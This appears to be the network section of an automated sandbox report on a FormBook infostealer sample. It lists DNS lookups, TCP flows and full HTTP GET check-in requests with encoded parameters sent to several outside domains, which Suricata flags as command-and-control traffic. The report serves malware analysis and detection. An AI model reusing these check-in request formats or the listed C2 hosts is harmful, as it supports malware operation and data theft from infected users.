Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| www.truthistanbul.xyz |
CNAME
truthistanbul.xyz
|
31.186.11.254 |
| www.leaffonly.com |
CNAME
leaffonly.com
|
3.33.152.147 |
| www.flippinyourbusiness.com |
CNAME
flippinyourbusiness.com
|
34.102.136.180 |
| www.happyhedgehogpress.com |
CNAME
happyhedgehogpress.com
|
34.102.136.180 |
| www.foreverenamored.com | 185.181.104.242 |
- TCP Requests
-
-
192.168.56.101:49167 185.181.104.242:80www.foreverenamored.com
-
192.168.56.101:49168 3.33.152.147:80www.leaffonly.com
-
192.168.56.101:49166 31.186.11.254:80www.truthistanbul.xyz
-
192.168.56.101:49170 34.102.136.180:80www.happyhedgehogpress.com
-
192.168.56.101:49172 34.102.136.180:80www.happyhedgehogpress.com
-
- UDP Requests
-
-
192.168.56.101:53004 164.124.101.2:53
-
192.168.56.101:53850 164.124.101.2:53
-
192.168.56.101:54148 164.124.101.2:53
-
192.168.56.101:55146 164.124.101.2:53
-
192.168.56.101:59002 164.124.101.2:53
-
192.168.56.101:137 192.168.56.255:137
-
192.168.56.101:138 192.168.56.255:138
-
192.168.56.101:54151 239.255.255.250:1900
-
8.8.8.8:53 192.168.56.101:55146
-
GET
200
http://www.foreverenamored.com/s27k/?mzr4=K0JmOqXr9HCtj2qTWz3wm1ISclVIfppkL5EMoSSMyzeFhY/mEgvox6BxsSrLYXaYq3j87tFB&Ulm=1bVHT
REQUEST
RESPONSE
BODY
GET /s27k/?mzr4=K0JmOqXr9HCtj2qTWz3wm1ISclVIfppkL5EMoSSMyzeFhY/mEgvox6BxsSrLYXaYq3j87tFB&Ulm=1bVHT HTTP/1.1
Host: www.foreverenamored.com
Connection: close
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sun, 30 Jul 2023 22:36:02 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Expires: Sun, 30 Jul 2023 23:36:02 GMT
Cache-Control: max-age=3600
Pragma: public
Cache-Control: public
Content-Security-Policy: default-src http: 'unsafe-inline' 'unsafe-eval'
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Request-Id: 2832e308a698d362b5097ff9ac8a8f74
GET
403
http://www.leaffonly.com/s27k/?mzr4=pW37V/wDdSqrMpF5ldchVc6r7Ddh2sY8bFEqKAvZO/A4bpL2AchokubKXEqi/NpFzOeyX4rN&Ulm=1bVHT
REQUEST
RESPONSE
BODY
GET /s27k/?mzr4=pW37V/wDdSqrMpF5ldchVc6r7Ddh2sY8bFEqKAvZO/A4bpL2AchokubKXEqi/NpFzOeyX4rN&Ulm=1bVHT HTTP/1.1
Host: www.leaffonly.com
Connection: close
HTTP/1.1 403 Forbidden
Server: awselb/2.0
Date: Sun, 30 Jul 2023 22:36:23 GMT
Content-Type: text/html
Content-Length: 118
Connection: close
GET
403
http://www.happyhedgehogpress.com/s27k/?mzr4=a2nlmsvFJPfX3VFlu+jfFNID+dUFrRaa9nceP0cgqTTsgglWoa+YQxHQjSPpl/c00euLIa3j&Ulm=1bVHT
REQUEST
RESPONSE
BODY
GET /s27k/?mzr4=a2nlmsvFJPfX3VFlu+jfFNID+dUFrRaa9nceP0cgqTTsgglWoa+YQxHQjSPpl/c00euLIa3j&Ulm=1bVHT HTTP/1.1
Host: www.happyhedgehogpress.com
Connection: close
HTTP/1.1 403 Forbidden
Server: openresty
Date: Sun, 30 Jul 2023 22:36:50 GMT
Content-Type: text/html
Content-Length: 291
ETag: "64c6bf68-123"
Via: 1.1 google
Connection: close
GET
403
http://www.flippinyourbusiness.com/s27k/?mzr4=Xi7F+l4Lb4Vq+ZnK/97dtmej1UbPO7AQVB5jWoV3FA39X8wswabFceq/socQVQQl0jUSsZ5z&Ulm=1bVHT
REQUEST
RESPONSE
BODY
GET /s27k/?mzr4=Xi7F+l4Lb4Vq+ZnK/97dtmej1UbPO7AQVB5jWoV3FA39X8wswabFceq/socQVQQl0jUSsZ5z&Ulm=1bVHT HTTP/1.1
Host: www.flippinyourbusiness.com
Connection: close
HTTP/1.1 403 Forbidden
Server: openresty
Date: Sun, 30 Jul 2023 22:37:02 GMT
Content-Type: text/html
Content-Length: 291
ETag: "64c689c8-123"
Via: 1.1 google
Connection: close
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.101:49170 -> 34.102.136.180:80 | 2031412 | ET MALWARE FormBook CnC Checkin (GET) | Malware Command and Control Activity Detected |
| TCP 192.168.56.101:49172 -> 34.102.136.180:80 | 2031412 | ET MALWARE FormBook CnC Checkin (GET) | Malware Command and Control Activity Detected |
| TCP 192.168.56.101:49166 -> 31.186.11.254:80 | 2031412 | ET MALWARE FormBook CnC Checkin (GET) | Malware Command and Control Activity Detected |
| TCP 192.168.56.101:49166 -> 31.186.11.254:80 | 2031088 | ET HUNTING Request to .XYZ Domain with Minimal Headers | Potentially Bad Traffic |
| TCP 192.168.56.101:49167 -> 185.181.104.242:80 | 2031412 | ET MALWARE FormBook CnC Checkin (GET) | Malware Command and Control Activity Detected |
| TCP 192.168.56.101:49168 -> 3.33.152.147:80 | 2031412 | ET MALWARE FormBook CnC Checkin (GET) | Malware Command and Control Activity Detected |
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts